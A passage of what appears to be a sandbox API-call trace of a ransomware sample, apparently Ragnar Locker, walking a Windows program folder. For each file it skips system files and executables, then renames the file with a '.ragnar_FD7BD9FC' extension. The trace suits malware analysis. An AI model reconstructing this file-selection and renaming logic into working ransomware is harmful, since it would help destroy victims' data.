ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x817a6740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.244] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x817a6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x817a6740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.244] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0079.244] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0079.244] lstrcpyW (in: lpString1=0x1eab58, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0079.244] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png") returned=".png" [0079.244] lstrcmpiW (lpString1="1047x576black.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.244] lstrcmpiW (lpString1="1047x576black.png", lpString2="autorun.inf") returned -1 [0079.244] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0079.244] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootfont.bin") returned -1 [0079.244] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootsect.bak") returned -1 [0079.244] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr") returned -1 [0079.244] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr.efi") returned -1 [0079.244] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgfw.efi") returned -1 [0079.244] lstrcmpiW (lpString1="1047x576black.png", lpString2="desktop.ini") returned -1 [0079.244] lstrcmpiW (lpString1="1047x576black.png", lpString2="iconcache.db") returned -1 [0079.244] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntldr") returned -1 [0079.244] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat") returned -1 [0079.244] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat.log") returned -1 [0079.245] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.ini") returned -1 [0079.245] lstrcmpiW (lpString1="1047x576black.png", lpString2="thumbs.db") returned -1 [0079.245] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.245] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.245] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.245] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.245] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.245] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.245] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png")) returned 0x20 [0079.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.245] CloseHandle (hObject=0xffffffff) returned 0 [0079.245] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" [0079.245] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png.ragnar_FD7BD9FC" [0079.245] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.245] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff493d1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff493d1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f29d477, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0079.245] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0079.245] lstrcpyW (in: lpString1=0x1eab58, lpString2="203x8subpicture.png" | out: lpString1="203x8subpicture.png") returned="203x8subpicture.png" [0079.245] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png") returned=".png" [0079.245] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.245] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="autorun.inf") returned -1 [0079.246] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="boot.ini") returned -1 [0079.246] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootfont.bin") returned -1 [0079.246] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootsect.bak") returned -1 [0079.246] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootmgr") returned -1 [0079.246] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootmgr.efi") returned -1 [0079.246] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootmgfw.efi") returned -1 [0079.246] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="desktop.ini") returned -1 [0079.246] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="iconcache.db") returned -1 [0079.246] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntldr") returned -1 [0079.246] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntuser.dat") returned -1 [0079.246] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntuser.dat.log") returned -1 [0079.246] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntuser.ini") returned -1 [0079.246] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="thumbs.db") returned -1 [0079.246] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.246] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.246] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.246] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.246] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.246] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.246] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png")) returned 0x20 [0079.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.246] CloseHandle (hObject=0xffffffff) returned 0 [0079.246] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" [0079.246] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png.ragnar_FD7BD9FC" [0079.247] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.247] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f92909f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.247] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0079.247] lstrcpyW (in: lpString1=0x1eab58, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0079.247] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png") returned=".png" [0079.247] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.247] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0079.247] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0079.247] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0079.247] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0079.247] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0079.247] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0079.247] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0079.247] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0079.247] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0079.247] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned -1 [0079.247] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0079.247] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0079.247] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0079.247] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0079.247] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.247] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.247] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.247] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.247] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.247] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.247] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png")) returned 0x20 [0079.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.248] CloseHandle (hObject=0xffffffff) returned 0 [0079.248] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" [0079.248] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.248] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.248] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffe1945, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffe1945, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.248] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0079.248] lstrcpyW (in: lpString1=0x1eab58, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0079.248] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png") returned=".png" [0079.248] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.248] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0079.248] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0079.248] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0079.248] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0079.248] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0079.248] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0079.248] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0079.248] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0079.248] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0079.248] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0079.248] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0079.248] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0079.248] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0079.248] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0079.248] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.249] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.249] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.249] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.249] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.249] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.249] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png")) returned 0x20 [0079.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.249] CloseHandle (hObject=0xffffffff) returned 0 [0079.249] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" [0079.249] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.249] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.249] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.249] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0079.249] lstrcpyW (in: lpString1=0x1eab58, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0079.249] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png") returned=".png" [0079.249] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.249] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0079.249] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0079.249] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0079.250] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0079.250] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0079.250] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0079.250] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0079.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.252] CloseHandle (hObject=0xffffffff) returned 0 [0079.252] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" [0079.252] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.252] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.252] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff9568b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff9568b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.252] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0079.252] lstrcpyW (in: lpString1=0x1eab58, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0079.252] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD 